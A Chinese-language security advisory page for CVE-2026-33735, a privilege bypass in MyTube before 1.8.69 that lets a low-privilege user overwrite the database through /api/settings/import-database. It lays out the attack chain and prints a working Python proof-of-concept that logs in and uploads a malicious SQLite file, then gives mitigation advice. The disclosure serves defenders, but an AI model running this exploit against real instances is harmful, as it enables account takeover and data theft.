IPBUF安全漏洞报告
English
CVE-2026-33735 CVSS 8.8 高危

CVE-2026-33735 MyTube权限绕过漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33735
漏洞类型
权限绕过
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
MyTube

相关标签

权限绕过MyTube数据库覆盖高危漏洞CVE-2026-33735

漏洞概述

MyTube视频播放器在1.8.69版本前存在严重的授权绕过漏洞。由于后端中间件校验逻辑失效,低权限用户可访问`/api/settings/import-database`端点。攻击者利用此接口上传恶意SQLite数据库覆盖原文件,可重置管理员权限,完全控制应用程序。

技术细节

该漏洞根源在于MyTube后端`roleBasedSettingsMiddleware.ts`中间件的权限校验机制失效。系统未严格区分普通用户与管理员对特定敏感接口的访问权限,导致`/api/settings/import-database`端点暴露。攻击者只需低权限凭证,即可构造包含恶意管理员哈希或后门的SQLite数据库文件。通过向目标端点发送恶意POST请求,攻击者能强制应用加载该数据库并覆盖原有配置。由于应用直接信任数据库内容,攻击者可成功提权至管理员,执行任意代码或窃取敏感数据,造成服务器完全沦陷。此缺陷可能同时影响其他POST路由。

攻击链分析

STEP 1
信息收集
攻击者识别目标MyTube实例及其版本(< 1.8.69)。
STEP 2
获取低权限凭证
攻击者在目标应用上注册一个普通用户账户,或者利用现有的低权限账户。
STEP 3
构造恶意数据库
攻击者创建一个本地SQLite数据库,在其中插入具有管理员权限的恶意用户记录。
STEP 4
利用漏洞上传
攻击者使用低权限账户向`/api/settings/import-database`端点发送POST请求,上传恶意数据库文件。
STEP 5
权限提升与控制
应用加载恶意数据库,攻击者使用预设的管理员凭证登录,完全接管应用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://localhost:3000/api/settings/import-database" login_url = "http://localhost:3000/api/auth/login" # Attacker's low-privilege credentials payload = { "username": "attacker", "password": "attacker_password" } def exploit(): session = requests.Session() # Step 1: Authenticate with low-privilege account print("[*] Logging in as low-privilege user...") try: login_res = session.post(login_url, json=payload) if login_res.status_code != 200: print("[-] Login failed.") return except Exception as e: print(f"[-] Connection error: {e}") return # Step 2: Prepare the malicious SQLite database file # Note: 'malicious.db' should be a valid SQLite file containing # a modified 'users' table with a new admin account. files = { 'file': ('malicious.db', open('malicious.db', 'rb'), 'application/x-sqlite3') } # Step 3: Upload the database to the vulnerable endpoint print("[*] Uploading malicious database...") try: upload_res = session.post(target_url, files=files) if upload_res.status_code == 200: print("[+] Exploit successful! Database replaced.") print("[+] You can now log in with the new admin credentials.") else: print(f"[-] Exploit failed. Status: {upload_res.status_code}") print(upload_res.text) except Exception as e: print(f"[-] Upload error: {e}") if __name__ == "__main__": exploit()

影响范围

MyTube < 1.8.69

防御指南

临时缓解措施
如果无法立即升级,请临时禁用用户注册功能,并在反向代理服务器(如Nginx)中阻断对`/api/settings/import-database`接口的访问请求,以防止攻击者上传恶意数据库。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表